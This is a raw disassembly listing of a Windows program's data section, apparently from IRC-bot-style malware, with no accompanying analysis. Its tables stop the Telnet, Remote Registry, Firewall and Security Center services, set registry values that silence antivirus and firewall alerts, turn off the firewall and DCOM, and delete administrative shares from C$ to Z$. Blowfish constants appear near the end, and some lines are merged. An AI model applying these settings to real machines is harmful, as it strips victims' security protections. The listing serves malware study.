a_2dSSS		db '(%.2d) %s\%s (%s)',0 ; DATA XREF: sub_41A60E+16Ao
		align 4
aDefault	db '(Default)',0        ; DATA XREF: sub_41A60E+149o
		align 4
a_2dSS		db '(%.2d) %s\%s',0     ; DATA XREF: sub_41A60E+C0o
		align 4
off_4428A8	dd offset aTlntsvr	; DATA XREF: sub_41B0B0+2Dr
					; "Tlntsvr"
		dd offset aRemoteregistry ; "RemoteRegistry"
		dd offset aMessenger	; "Messenger"
		dd offset aSharedaccess	; "SharedAccess"
		dd offset aWscsvc	; "wscsvc"
off_4428BC	dd offset aTelnet	; DATA XREF: sub_41B0B0+6Er
					; sub_41B0B0+ABr ...
					; "Telnet"
		dd offset aRemoteRegistry ; "Remote Registry"
		dd offset aMessenger	; "Messenger"
		dd offset aWindowsFirewal ; "Windows Firewall/ICS"
		dd offset aSecurityCenter ; "Security Center"
dword_4428D0	dd 80000002h						; sub_41AA69:loc_41AAF3r ...
aSoftwareMicr_5	db 'SOFTWARE\Microsoft\Security Center',0 ; DATA XREF: sub_41AA69+3Ar
					; sub_41AA69+14Er
		align 4
		dd 36h dup(0)
		db 3 dup(0)
dword_4429D3	dd 61647055h						; sub_41AA69:loc_41ABAFr
aTesdisablenoti	db 'tesDisableNotify',0
		dd 3Bh dup(0)
dword_442AD4	dd 4		dword_442AD8	dd 1							; sub_41AA69+7Cr ...
dword_442ADC	dd 0							; sub_41AA69:loc_41AAEDr ...
dword_442AE0	dd 0							; sub_41AA69+18Br ...
		dd 3Eh dup(0)
		db 3 dup(0)
dword_442BDF	dd 0							; sub_41AA69+193r ...
		align 4
		dd 3Fh dup(0)
		dd 80000002h, 54464F53h, 45524157h, 63694D5Ch, 6F736F72h
		dd 535C7466h, 72756365h, 20797469h, 746E6543h, 7265h, 36h dup(0)
		dd 41000000h, 5669746Eh, 73757269h, 61736944h, 4E656C62h
		dd 6669746Fh, 79h, 3Ah dup(0)
		dd 4, 1, 81h dup(0)
		dd 80000002h, 54464F53h, 45524157h, 63694D5Ch, 6F736F72h
		dd 535C7466h, 72756365h, 20797469h, 746E6543h, 7265h, 36h dup(0)
		dd 46000000h, 77657269h, 446C6C61h, 62617369h, 6F4E656Ch
		dd 79666974h, 3Bh dup(0)
		dd 4, 1, 81h dup(0)
		dd 80000002h, 54464F53h, 45524157h, 63694D5Ch, 6F736F72h
		dd 535C7466h, 72756365h, 20797469h, 746E6543h, 7265h, 36h dup(0)
		dd 41000000h, 5669746Eh, 73757269h, 7265764Fh, 65646972h
		dd 3Ch dup(0)
		dd 4, 1, 81h dup(0)
		dd 80000002h, 54464F53h, 45524157h, 63694D5Ch, 6F736F72h
		dd 535C7466h, 72756365h, 20797469h, 746E6543h, 7265h, 36h dup(0)
		dd 46000000h, 77657269h, 4F6C6C61h, 72726576h, 656469h
		dd 3Ch dup(0)
		dd 4, 1, 81h dup(0)
		dd 80000002h, 54464F53h, 45524157h, 6C6F505Ch, 65696369h
		dd 694D5C73h, 736F7263h, 5C74666Fh, 646E6957h, 4673776Fh
		dd 77657269h, 5C6C6C61h, 616D6F44h, 72506E69h, 6C69666Fh
		dd 65h,	30h dup(0)
		dd 45000000h, 6C62616Eh, 72694665h, 6C617765h, 6Ch, 3Ch	dup(0)
		dd 4, 0
		dd 1, 80h dup(0)
		dd 80000002h, 54464F53h, 45524157h, 6C6F505Ch, 65696369h
		dd 694D5C73h, 736F7263h, 5C74666Fh, 646E6957h, 4673776Fh
		dd 77657269h, 5C6C6C61h, 6E617453h, 64726164h, 666F7250h
		dd 656C69h, 30h	dup(0)
		dd 45000000h, 6C62616Eh, 72694665h, 6C617765h, 6Ch, 3Ch	dup(0)
		dd 4, 0
		dd 1, 80h dup(0)
		dd 80000002h, 54535953h, 435C4D45h, 65727275h, 6F43746Eh
		dd 6F72746Eh, 7465536Ch, 7265535Ch, 65636976h, 73775C73h
		dd 63767363h, 35h dup(0)
		dd 53000000h, 74726174h, 3Fh dup(0)
		dd 2 dup(4), 2,	80h dup(0)
		dd 80000002h, 54535953h, 435C4D45h, 65727275h, 6F43746Eh
		dd 6F72746Eh, 7465536Ch, 7265535Ch, 65636976h, 6C545C73h
		dd 7653746Eh, 72h, 34h dup(0)
		dd 53000000h, 74726174h, 3Fh dup(0)
		dd 2 dup(4), 3,	78h dup(0)
		db 3 dup(0)
byte_444D43	db 0			; DATA XREF: .text:off_435C10o
		dd 7 dup(0)
		dd 80000002h, 54535953h, 435C4D45h, 65727275h, 6F43746Eh
		dd 6F72746Eh, 7465536Ch, 7265535Ch, 65636976h, 65525C73h
		dd 65746F6Dh, 69676552h, 79727473h, 33h	dup(0)
		dd 53000000h, 74726174h, 3Fh dup(0)
		dd 2 dup(4), 2,	80h dup(0)
		dd 80000002h, 54535953h, 435C4D45h, 65727275h, 6F43746Eh
		dd 6F72746Eh, 7465536Ch, 7265535Ch, 65636976h, 654D5C73h
		dd 6E657373h, 726567h, 34h dup(0)
		dd 53000000h, 74726174h, 3Fh dup(0)
		dd 3 dup(4), 80h dup(0)
		dd 80000002h, 54535953h, 435C4D45h, 65727275h, 6F43746Eh
		dd 6F72746Eh, 7465536Ch, 6E6F435Ch, 6C6F7274h, 61734C5Ch
		dd 36h dup(0)
		dd 72000000h, 72747365h, 61746369h, 796E6F6Eh, 73756F6Dh
		dd 3Ch dup(0)
		dd 4, 1, 81h dup(0)
		dd 80000002h, 54535953h, 435C4D45h, 65727275h, 6F43746Eh
		dd 6F72746Eh, 7465536Ch, 7265535Ch, 65636976h, 616C5C73h
		dd 6E616D6Eh, 76726573h, 705C7265h, 6D617261h, 72657465h
		dd 73h,	30h dup(0)
		dd 41000000h, 536F7475h, 65726168h, 736B57h, 3Dh dup(0)
		dd 4, 0
		dd 1, 80h dup(0)
		dd 80000002h, 54535953h, 435C4D45h, 65727275h, 6F43746Eh
		dd 6F72746Eh, 7465536Ch, 7265535Ch, 65636976h, 616C5C73h
		dd 6E616D6Eh, 76726573h, 705C7265h, 6D617261h, 72657465h
		dd 73h,	30h dup(0)
		dd 41000000h, 536F7475h, 65726168h, 76726553h, 7265h, 3Ch dup(0)
		dd 4, 0
		dd 1, 80h dup(0)
		dd 80000002h, 54535953h, 435C4D45h, 65727275h, 6F43746Eh
		dd 6F72746Eh, 7465536Ch, 7265535Ch, 65636976h, 616C5C73h
		dd 6E616D6Eh, 6B726F77h, 74617473h, 5C6E6F69h, 61726170h
		dd 6574656Dh, 7372h, 2Fh dup(0)
		dd 41000000h, 536F7475h, 65726168h, 736B57h, 3Dh dup(0)
		dd 4, 0
		dd 1, 80h dup(0)
		dd 80000002h, 54535953h, 435C4D45h, 65727275h, 6F43746Eh
		dd 6F72746Eh, 7465536Ch, 7265535Ch, 65636976h, 616C5C73h
		dd 6E616D6Eh, 6B726F77h, 74617473h, 5C6E6F69h, 61726170h
		dd 6574656Dh, 7372h, 2Fh dup(0)
		dd 41000000h, 536F7475h, 65726168h, 76726553h, 7265h, 3Ch dup(0)
		dd 4, 0
		dd 1, 80h dup(0)
		dd 80000002h, 54464F53h, 45524157h, 6C6F505Ch, 65696369h
		dd 694D5C73h, 736F7263h, 5C74666Fh, 646E6957h, 5C73776Fh
		dd 646E6957h, 5573776Fh, 74616470h, 65h, 32h dup(0)
		dd 44000000h, 746F4E6Fh, 6F6C6C41h, 53505877h, 3250h, 3Ch dup(0)
		dd 4, 1, 81h dup(0)
		dd 80000002h, 74666F53h, 65726177h, 63694D5Ch, 6F736F72h
		dd 4F5C7466h, 454Ch, 39h dup(0)
		dd 45000000h, 6C62616Eh, 4F434465h, 4Dh, 3Dh dup(0)
		dd 1, 2	dup(0)
		dd 4Eh,	3Eh dup(0)
		dd 59000000h, 40h dup(0)
off_4471F0	dd offset off_447590	; DATA XREF: sub_41AD33+85r
					; sub_41AD33:loc_41ADF0r ...
dword_4471F4	dd 0				dd offset off_447580
		align 10h
		dd offset off_447570
		align 8
		dd offset aC_2		; "C$"
		dd offset aC_3		; "C:\\"
		dd offset aD_1		; "D$"
		dd offset aD_2		; "D:\\"
		dd offset aE_2		; "E$"
		dd offset aE_3		; "E:\\"
		dd offset aF_1		; "F$"
		dd offset aF_2		; "F:\\"
		dd offset aG_1		; "G$"
		dd offset aG_2		; "G:\\"
		dd offset asc_447518	; "H$"
		dd offset asc_447510	; "H:\\"
		dd offset aI_3		; "I$"
		dd offset aI_4		; "I:\\"
		dd offset aJ_1		; "J$"
		dd offset aJ_2		; "J:\\"
		dd offset aJ_1		; "J$"
		dd offset aJ_2		; "J:\\"
		dd offset aK_2		; "K$"
		dd offset aK_3		; "K:\\"
		dd offset asc_4474D8	; "L$"
		dd offset asc_4474D0	; "L:\\"
		dd offset aM_5		; "M$"
		dd offset aM_6		; "M:\\"
		dd offset aN_2		; "N$"
		dd offset aN_3		; "N:\\"
		dd offset aO_2		; "O$"
		dd offset aO_3		; "O:\\"
		dd offset aP_5		; "P$"
		dd offset aP_6		; "P:\\"
		dd offset aQ_2		; "Q$"
		dd offset aQ_3		; "Q:\\"
		dd offset aR_1		; "R$"
		dd offset aR_2		; "R:\\"
		dd offset aS_10		; "S$"
		dd offset aS_9		; "S:\\"
		dd offset aT_1		; "T$"
		dd offset aT_2		; "T:\\"
		dd offset aU_3		; "U$"
		dd offset aU_2		; "U:\\"
		dd offset aV_2		; "V$"
		dd offset aV_3		; "V:\\"
		dd offset aW_1		; "W$"
		dd offset aW_2		; "W:\\"
		dd offset asc_447418	; "X$"
		dd offset asc_447410	; "X:\\"
		dd offset aY_1		; "Y$"
		dd offset aY_2		; "Y:\\"
		dd offset aZ_5		; "Z$"
		dd offset aZ_6		; "Z:\\"
		dd offset off_447570
		dd offset off_4473DC
		dd offset off_447580
		dd offset off_4473CC
		dd offset off_447590
		dd offset off_4473C0
		dd offset off_447590
		dd offset off_4473B4
		dd offset off_447590
		dd offset off_4473A0
		dd offset off_447590
		dd offset aWkssvc	; "wkssvc\\"
		dd offset off_447590
		dd offset aSrvsvc	; "srvsvc\\"
		dd offset off_44736C
		dd offset aNetlogon_0	; "netlogon\\"
		dd offset off_447590
		dd offset aTsclient	; "tsclient\\"
		dd offset off_447590
		dd offset aTsweb	; "tsweb\\"
		dd offset off_447590
		dd offset off_447328
off_447328	dd offset dword_50004C	; DATA XREF: .text:00447324o
		dd offset dword_520054
		dd 5Ch
aTsweb:					; DATA XREF: .text:0044731Co
		unicode	0, <tsweb\>,0
		align 4
aTsclient:				; DATA XREF: .text:00447314o
		unicode	0, <tsclient\>,0
aNetlogon_0:				; DATA XREF: .text:0044730Co
		unicode	0, <netlogon\>,0
off_44736C	dd offset word_45004E	; DATA XREF: .text:00447308o
		dd offset dword_4C0054
		dd offset byte_47004F
		dd offset byte_4E004F
		dd 24h
aSrvsvc:				; DATA XREF: .text:00447304o
		unicode	0, <srvsvc\>,0
aWkssvc:				; DATA XREF: .text:004472FCo
		unicode	0, <wkssvc\>,0
off_4473A0	dd offset word_520042	; DATA XREF: .text:004472F4o
		dd offset byte_57004F
		dd offset byte_450053
		dd offset word_5C0052
		dd 0
off_4473B4	dd offset dword_490050	; DATA XREF: .text:004472ECo
		dd offset byte_450050
		dd 5Ch
off_4473C0	dd offset byte_500049	; DATA XREF: .text:004472E4o
		dd offset byte_5C0043
		dd 0
off_4473CC	dd offset aTasklist_exe+5 ; DATA XREF: .text:004472DCo
		dd offset byte_49004D
		dd offset word_5C004E
		dd 0
off_4473DC	dd offset dword_520050	; DATA XREF: .text:004472D4o
		dd offset byte_4E0049
		dd offset dword_450054
		dd offset word_5C0052
		align 10h
aZ_6:					; DATA XREF: .text:004472CCo
		unicode	0, <Z:\>,0
aZ_5:					; DATA XREF: .text:004472C8o
		unicode	0, <Z$>,0
		align 10h
aY_2:					; DATA XREF: .text:004472C4o
		unicode	0, <Y:\>,0
aY_1:					; DATA XREF: .text:004472C0o
		unicode	0, <Y$>,0
		align 10h
asc_447410:				; DATA XREF: .text:004472BCo
		unicode	0, <X:\>,0
asc_447418:				; DATA XREF: .text:004472B8o
		unicode	0, <X$>,0
		align 10h
aW_2:					; DATA XREF: .text:004472B4o
		unicode	0, <W:\>,0
aW_1:					; DATA XREF: .text:004472B0o
		unicode	0, <W$>,0
		align 10h
aV_3:					; DATA XREF: .text:004472ACo
		unicode	0, <V:\>,0
aV_2:					; DATA XREF: .text:004472A8o
		unicode	0, <V$>,0
		align 10h
aU_2:					; DATA XREF: .text:004472A4o
		unicode	0, <U:\>,0
aU_3:					; DATA XREF: .text:004472A0o
		unicode	0, <U$>,0
		align 10h
aT_2:					; DATA XREF: .text:0044729Co
		unicode	0, <T:\>,0
aT_1:					; DATA XREF: .text:00447298o
		unicode	0, <T$>,0
		align 10h
aS_9:					; DATA XREF: .text:00447294o
		unicode	0, <S:\>,0
aS_10:					; DATA XREF: .text:00447290o
		unicode	0, <S$>,0
		align 10h
aR_2:					; DATA XREF: .text:0044728Co
		unicode	0, <R:\>,0
aR_1:					; DATA XREF: .text:00447288o
		unicode	0, <R$>,0
		align 10h
aQ_3:					; DATA XREF: .text:00447284o
		unicode	0, <Q:\>,0
aQ_2:					; DATA XREF: .text:00447280o
		unicode	0, <Q$>,0
		align 10h
aP_6:					; DATA XREF: .text:0044727Co
		unicode	0, <P:\>,0
aP_5:					; DATA XREF: .text:00447278o
		unicode	0, <P$>,0
		align 10h
aO_3:					; DATA XREF: .text:00447274o
		unicode	0, <O:\>,0
aO_2:					; DATA XREF: .text:00447270o
		unicode	0, <O$>,0
		align 10h
aN_3:					; DATA XREF: .text:0044726Co
		unicode	0, <N:\>,0
aN_2:					; DATA XREF: .text:00447268o
		unicode	0, <N$>,0
		align 10h
aM_6:					; DATA XREF: .text:00447264o
		unicode	0, <M:\>,0
aM_5:					; DATA XREF: .text:00447260o
		unicode	0, <M$>,0
		align 10h
asc_4474D0:				; DATA XREF: .text:0044725Co
		unicode	0, <L:\>,0
asc_4474D8:				; DATA XREF: .text:00447258o
		unicode	0, <L$>,0
		align 10h
aK_3:					; DATA XREF: .text:00447254o
		unicode	0, <K:\>,0
aK_2:					; DATA XREF: .text:00447250o
		unicode	0, <K$>,0
		align 10h
aJ_2:					; DATA XREF: .text:00447244o
					; .text:0044724Co
		unicode	0, <J:\>,0
aJ_1:					; DATA XREF: .text:00447240o
					; .text:00447248o
		unicode	0, <J$>,0
		align 10h
aI_4:					; DATA XREF: .text:0044723Co
		unicode	0, <I:\>,0
aI_3:					; DATA XREF: .text:00447238o
		unicode	0, <I$>,0
		align 10h
asc_447510:				; DATA XREF: .text:00447234o
		unicode	0, <H:\>,0
asc_447518:				; DATA XREF: .text:00447230o
		unicode	0, <H$>,0
		align 10h
aG_2:					; DATA XREF: .text:0044722Co
		unicode	0, <G:\>,0
aG_1:					; DATA XREF: .text:00447228o
		unicode	0, <G$>,0
		align 10h
aF_2:					; DATA XREF: .text:00447224o
		unicode	0, <F:\>,0
aF_1:					; DATA XREF: .text:00447220o
		unicode	0, <F$>,0
		align 10h
aE_3:					; DATA XREF: .text:0044721Co
		unicode	0, <E:\>,0
aE_2:					; DATA XREF: .text:00447218o
		unicode	0, <E$>,0
		align 10h
aD_2:					; DATA XREF: .text:00447214o
		unicode	0, <D:\>,0
aD_1:					; DATA XREF: .text:00447210o
		unicode	0, <D$>,0
		align 10h
aC_3:					; DATA XREF: .text:0044720Co
		unicode	0, <C:\>,0
aC_2:					; DATA XREF: .text:00447208o
		unicode	0, <C$>,0
		align 10h
off_447570	dd offset dword_520050	; DATA XREF: .text:00447200o
					; .text:004472D0o
		dd offset byte_4E0049
aT_3:
		unicode	0, <T$>,0
		align 10h
off_447580	dd offset aTasklist_exe+5 ; DATA XREF: .text:004471F8o
					; .text:004472D8o
		dd offset byte_49004D
aN_4:
		unicode	0, <N$>,0
		align 10h
off_447590	dd offset byte_500049	; DATA XREF: .text:off_4471F0o
					; .text:004472E0o ...
aC_4:
		unicode	0, <C$>,0
		align 4
aSecurityCenter	db 'Security Center',0  ; DATA XREF: .text:004428CCo
aWindowsFirewal	db 'Windows Firewall/ICS',0 ; DATA XREF: .text:004428C8o
		align 4
aRemoteRegistry	db 'Remote Registry',0  ; DATA XREF: .text:004428C0o
aTelnet		db 'Telnet',0           ; DATA XREF: .text:off_4428BCo
		align 4
aWscsvc		db 'wscsvc',0           ; DATA XREF: .text:004428B8o
		align 4
aSharedaccess	db 'SharedAccess',0     ; DATA XREF: .text:004428B4o
		align 4
aMessenger	db 'Messenger',0        ; DATA XREF: .text:004428B0o
					; .text:004428C4o
		align 10h
aRemoteregistry	db 'RemoteRegistry',0   ; DATA XREF: .text:004428ACo
		align 10h
aTlntsvr	db 'Tlntsvr',0          ; DATA XREF: .text:off_4428A8o
aSRegistryS_2d_	db '%s Registry %s, (%.2d/%.2d)',0 ; DATA XREF: sub_41AA69+2AEo
aSFailedToSRegi	db '%s Failed to %s Registry, (%.2d/%.2d)',0 ; DATA XREF: sub_41AA69+275o
		align 4
aSecured	db 'Secured',0          ; DATA XREF: sub_41AA69+25Eo
aSFailedToSet_0	db '%s Failed to set "%s\%s\%s" to "%s".',0 ; DATA XREF: sub_41AA69+21Do
		align 4
aSSetSSSToS_	db '%s Set "%s\%s\%s" to "%s".',0 ; DATA XREF: sub_41AA69+1C4o
		align 4
aSFailedToSetSS	db '%s Failed to set "%s\%s\%s" to "%d".',0 ; DATA XREF: sub_41AA69+11Fo
		align 10h
aSSetSSSToD_	db '%s Set "%s\%s\%s" to "%d".',0 ; DATA XREF: sub_41AA69+B5o
		align 4
aSTotalShares_0	db '%s Total shares [%s: %d]',0 ; DATA XREF: sub_41AD33+365o
		align 4
aTotalSharesS_0	db ' Total shares [%s: %d]',0 ; DATA XREF: sub_41AD33+343o
		align 10h
aSNoSharesS_	db '%s No shares %s.',0 ; DATA XREF: sub_41AD33:loc_41B05Do
		align 4
aUnloading	db 'Unloading',0        ; DATA XREF: sub_41AD33+289o
		align 10h
aCreated	db 'created',0          ; DATA XREF: sub_41AD33+23Eo
aSTotalSharesSD	db '%s Total shares %s: [%d]',0 ; DATA XREF: sub_41AD33+231o
		align 4
aTotalSharesSD	db ' Total shares: [%s: %d]',0 ; DATA XREF: sub_41AD33+1CFo
off_44777C	dd offset dword_532520	; DATA XREF: sub_41AD33+C9o
					; sub_41AD33+157o ...
dword_447780	dd 53207325h, 65726168h, 73252073h, 3Ah					; sub_41AD33+256o
aErased		db 'erased',0           ; DATA XREF: sub_41AD33+34o
					; sub_41AD33:loc_41AEEBo ...
		align 4
aSTotalServices	db '%s Total services stopped: %d',0 ; DATA XREF: sub_41B0B0+15Eo
		align 4
aSNoServicesSto	db '%s No services stopped.',0 ; DATA XREF: sub_41B0B0+136o
aSTheSServiceWa	db '%s The %s service was not started.',0 ; DATA XREF: sub_41B0B0+F0o
		align 4
aSSServiceStopp	db '%s %s service stopped.',0 ; DATA XREF: sub_41B0B0+B2o
		align 4
aSTheSServiceDo	db '%s The %s service does not exist.',0 ; DATA XREF: sub_41B0B0+75o
		align 10h
aSystemShutting	db 'System shutting down.',0 ; DATA XREF: sub_41B226+10Bo
		align 4
aS_3		db '"%s"',0             ; DATA XREF: sub_41B424+14o
		align 10h
aSDoneOk_	db '%s Done Ok.',0      ; DATA XREF: sub_41B824+64o
aSDone_		db '%s Done.',0         ; DATA XREF: sub_41BB8F+300o
		align 4
dword_447868	dd 243F6A88h			dd 85A308D3h, 13198A2Eh, 3707344h, 0A4093822h, 299F31D0h
		dd 82EFA98h, 0EC4E6C89h, 452821E6h, 38D01377h, 0BE5466CFh
		dd 34E90C6Ch, 0C0AC29B7h, 0C97C50DDh, 3F84D5B5h, 0B5470917h
		dd 9216D5D9h, 8979FB1Bh
dword_4478B0	dd 0D1310BA6h			dd 98DFB5ACh, 2FFD72DBh, 0D01ADFB7h, 0B8E1AFEDh, 6A267E96h
		dd 0BA7C9045h, 0F12C7F99h, 24A19947h, 0B3916CF7h, 801F2E2h
		dd 858EFC16h, 636920D8h, 71574E69h, 0A458FEA3h,	0F4933D7Eh
		dd 0D95748Fh, 728EB658h, 718BCD58h, 82154AEEh, 7B54A41Dh
		dd 0C25A59B5h, 9C30D539h, 2AF26013h, 0C5D1B023h, 286085F0h
		dd 0CA417918h, 0B8DB38EFh, 8E79DCB0h, 603A180Eh, 6C9E0E8Bh
		dd 0B01E8A3Eh, 0D71577C1h, 0BD314B27h, 78AF2FDAh, 55605C60h
		dd 0E65525F3h, 0AA55AB94h, 57489862h, 63E81440h, 55CA396Ah
		dd 2AAB10B6h, 0B4CC5C34h, 1141E8CEh, 0A15486AFh, 7C72E993h
		dd 0B3EE1411h, 636FBC2Ah, 2BA9C55Dh, 741831F6h,	0CE5C3E16h
		dd 9B87931Eh, 0AFD6BA33h, 6C24CF5Ch, 7A325381h,	28958677h
		dd 3B8F4898h, 6B4BB9AFh, 0C4BFE81Bh, 66282193h,	61D809CCh
		dd 0FB21A991h, 487CAC60h, 5DEC8032h, 0EF845D5Dh, 0E98575B1h
		dd 0DC262302h, 0EB651B88h, 23893E81h, 0D396ACC5h, 0F6D6FF3h
		dd 83F44239h, 2E0B4482h, 0A4842004h, 69C8F04Ah,	9E1F9B5Eh
		dd 21C66842h, 0F6E96C9Ah, 670C9C61h, 0ABD388F0h, 6A51A0D2h
		dd 0D8542F68h, 960FA728h, 0AB5133A3h, 6EEF0B6Ch, 137A3BE4h
		dd 0BA3BF050h, 7EFB2A98h, 0A1F1651Dh, 39AF0176h, 66CA593Eh
		dd 82430E88h, 8CEE8619h, 456F9FB4h, 7D84A5C3h, 3B8B5EBEh
		dd 0E06F75D8h, 85C12073h, 401A449Fh, 56C16AA6h,	4ED3AA62h
		dd 363F7706h, 1BFEDF72h, 429B023Dh, 37D0D724h, 0D00A1248h
		dd 0DB0FEAD3h, 49F1C09Bh, 75372C9h, 80991B7Bh, 25D479D8h
		dd 0F6E8DEF7h, 0E3FE501Ah, 0B6794C3Bh, 976CE0BDh, 4C006BAh
		dd 0C1A94FB6h, 409F60C4h, 5E5C9EC2h, 196A2463h,	68FB6FAFh
		dd 3E6C53B5h, 1339B2EBh, 3B52EC6Fh, 6DFC511Fh, 9B30952Ch
		dd 0CC814544h, 0AF5EBD09h, 0BEE3D004h, 0DE334AFDh, 660F2807h
		dd 192E4BB3h, 0C0CBA857h, 45C8740Fh, 0D20B5F39h, 0B9D3FBDBh
		dd 5579C0BDh, 1A60320Ah, 0D6A100C6h, 402C7279h,	679F25FEh
		dd 0FB1FA3CCh, 8EA5E9F8h, 0DB3222F8h, 3C7516DFh, 0FD616B15h
		dd 2F501EC8h, 0AD0552ABh, 323DB5FAh, 0FD238760h, 53317B48h
		dd 3E00DF82h, 9E5C57BBh, 0CA6F8CA0h, 1A87562Eh,	0DF1769DBh
		dd 0D542A8F6h, 287EFFC3h, 0AC6732C6h, 8C4F5573h, 695B27B0h
		dd 0BBCA58C8h, 0E1FFA35Dh, 0B8F011A0h, 10FA3D98h, 0FD2183B8h
		dd 4AFCB56Ch, 2DD1D35Bh, 9A53E479h, 0B6F84565h,	0D28E49BCh
		dd 4BFB9790h, 0E1DDF2DAh, 0A4CB7E33h, 62FB1341h, 0CEE4C6E8h
		dd 0EF20CADAh, 36774C01h, 0D07E9EFEh, 2BF11FB4h, 95DBDA4Dh
		dd 0AE909198h, 0EAAD8E71h, 6B93D5A0h, 0D08ED1D0h, 0AFC725E0h
		dd 8E3C5B2Fh, 8E7594B7h, 8FF6E2FBh, 0F2122B64h,	8888B812h
		dd 900DF01Ch, 4FAD5EA0h, 688FC31Ch, 0D1CFF191h,	0B3A8C1ADh
		dd 2F2F2218h, 0BE0E1777h, 0EA752DFEh, 8B021FA1h, 0E5A0CC0Fh
		dd 0B56F74E8h, 18ACF3D6h, 0CE89E299h, 0B4A84FE0h, 0FD13E0B7h
		dd 7CC43B81h, 0D2ADA8D9h, 165FA266h, 80957705h,	93CC7314h
		dd 211A1477h, 0E6AD2065h, 77B5FA86h, 0C75442F5h, 0FB9D35CFh
		dd 0EBCDAF0Ch, 7B3E89A0h, 0D6411BD3h, 0AE1E7E49h, 250E2Dh
		dd 2071B35Eh, 226800BBh, 57B8E0AFh, 2464369Bh, 0F009B91Eh
		dd 5563911Dh, 59DFA6AAh, 78C14389h, 0D95A537Fh,	207D5BA2h
		dd 2E5B9C5h, 83260376h,	6295CFA9h, 11C81968h, 4E734A41h
		dd 0B3472DCAh, 7B14A94Ah, 1B510052h, 9A532915h,	0D60F573Fh
		dd 0BC9BC6E4h, 2B60A476h, 81E67400h, 8BA6FB5h, 571BE91Fh
		dd 0F296EC6Bh, 2A0DD915h, 0B6636521h, 0E7B9F9B6h, 0FF34052Eh
		dd 0C5855664h, 53B02D5Dh, 0A99F8FA1h, 8BA4799h,	6E85076Ah
		dd 4B7A70E9h, 0B5B32944h, 0DB75092Eh, 0C4192623h, 0AD6EA6B0h
		dd 49A7DF7Dh, 9CEE60B8h, 8FEDB266h, 0ECAA8C71h,	699A17FFh
		dd 5664526Ch, 0C2B19EE1h, 193602A5h, 75094C29h,	0A0591340h
		dd 0E4183A3Eh, 3F54989Ah, 5B429D65h, 6B8FE4D6h,	99F73FD6h
		dd 0A1D29C07h, 0EFE830F5h, 4D2D38E6h, 0F0255DC1h, 4CDD2086h
		dd 8470EB26h, 6382E9C6h, 21ECC5Eh, 9686B3Fh, 3EBAEFC9h
		dd 3C971814h, 6B6A70A1h, 687F3584h, 52A0E286h, 0B79C5305h
		dd 0AA500737h, 3E07841Ch, 7FDEAE5Ch, 8E7D44ECh,	5716F2B8h
		dd 0B03ADA37h, 0F0500C0Dh, 0F01C1F04h, 200B3FFh, 0AE0CF51Ah
		dd 3CB574B2h, 25837A58h, 0DC0921BDh, 0D19113F9h, 7CA92FF6h
		dd 94324773h, 22F54701h, 3AE5E581h, 37C2DADCh, 0C8B57634h
		dd 9AF3DDA7h, 0A9446146h, 0FD0030Eh, 0ECC8C73Eh, 0A4751E41h
		dd 0E238CD99h, 3BEA0E2Fh, 3280BBA1h, 183EB331h,	4E548B38h
		dd 4F6DB908h, 6F420D03h, 0F60A04BFh, 2CB81290h,	24977C79h
		dd 5679B072h, 0BCAF89AFh, 0DE9A771Fh, 0D9930810h, 0B38BAE12h
		dd 0DCCF3F2Eh, 5512721Fh, 2E6B7124h, 501ADDE6h,	9F84CD87h
		dd 7A584718h, 7408DA17h, 0BC9F9ABCh, 0E94B7D8Ch, 0EC7AEC3Ah
		dd 0DB851DFAh, 63094366h, 0C464C3D2h, 0EF1C1847h, 3215D908h
		dd 0DD433B37h, 24C2BA16h, 12A14D43h, 2A65C451h,	50940002h
		dd 133AE4DDh, 71DFF89Eh, 10314E55h, 81AC77D6h, 5F11199Bh
		dd 43556F1h, 0D7A3C76Bh, 3C11183Bh, 5924A509h, 0F28FE6EDh
		dd 97F1FBFAh, 9EBABF2Ch, 1E153C6Eh, 86E34570h, 0EAE96FB1h
		dd 860E5E0Ah, 5A3E2AB3h, 771FE71Ch, 4E3D06FAh, 2965DCB9h
		dd 99E71D0Fh, 803E89D6h, 5266C825h, 2E4CC978h, 9C10B36Ah
		dd 0C6150EBAh, 94E2EA78h, 0A5FC3C53h, 1E0A2DF4h, 0F2F74EA7h
		dd 361D2B3Dh, 1939260Fh, 19C27960h, 5223A708h, 0F71312B6h
		dd 0EBADFE6Eh, 0EAC31F66h, 0E3BC4595h, 0A67BC883h, 0B17F37D1h
		dd 18CFF28h, 0C332DDEFh, 0BE6C5AA5h, 65582185h,	68AB9802h
		dd 0EECEA50Fh, 0DB2F953Bh, 2AEF7DADh, 5B6E2F84h, 1521B628h
		dd 29076170h, 0ECDD4775h, 619F1510h, 13CCA830h,	0EB61BD96h
		dd 334FE1Eh, 0AA0363CFh, 0B5735C90h, 4C70A239h,	0D59E9E0Bh
		dd 0CBAADE14h, 0EECC86BCh, 60622CA7h, 9CAB5CABh, 0B2F3846Eh
		dd 648B1EAFh, 19BDF0CAh, 0A02369B9h, 655ABB50h,	40685A32h
		dd 3C2AB4B3h, 319EE9D5h, 0C021B8F7h, 9B540B19h,	875FA099h
		dd 95F7997Eh, 623D7DA8h, 0F837889Ah, 97E32D77h,	11ED935Fh
		dd 16681281h, 0E358829h, 0C7E61FD6h, 96DEDFA1h,	7858BA99h
		dd 57F584A5h, 1B227263h, 9B83C3FFh, 1AC24696h, 0CDB30AEBh
		dd 532E3054h, 8FD948E4h, 6DBC3128h, 58EBF2EFh, 34C6FFEAh
		dd 0FE28ED61h, 0EE7C3C73h, 5D4A14D9h, 0E864B7E3h, 42105D14h
		dd 203E13E0h, 45EEE2B6h, 0A3AAABEAh, 0DB6C4F15h, 0FACB4FD0h
		dd 0C742F442h, 0EF6ABBB5h, 654F3B1Dh, 41CD2105h, 0D81E799Eh
		dd 86854DC7h, 0E44B476Ah, 3D816250h, 0CF62A1F2h, 5B8D2646h
		dd 0FC8883A0h, 0C1C7B6A3h, 7F1524C3h, 69CB7492h, 47848A0Bh
		dd 5692B285h, 95BBF00h,	0AD19489Dh, 1462B174h, 23820E00h
		dd 58428D2Ah, 0C55F5EAh, 1DADF43Eh, 233F7061h, 3372F092h
		dd 8D937E41h, 0D65FECF1h, 6C223BDBh, 7CDE3759h,	0CBEE7460h
		dd 4085F2A7h, 0CE77326Eh, 0A6078084h, 19F8509Eh, 0E8EFD855h
		dd 61D99735h, 0A969A7AAh, 0C50C06C2h, 5A04ABFCh, 800BCADCh
		dd 9E447A2Eh, 0C3453484h, 0FDD56705h, 0E1E9EC9h, 0DB73DBD3h
		dd 105588CDh, 675FDA79h, 0E3674340h, 0C5C43465h, 713E38D8h
		dd 3D28F89Eh, 0F16DFF20h, 153E21E7h, 8FB03D4Ah,	0E6E39F2Bh
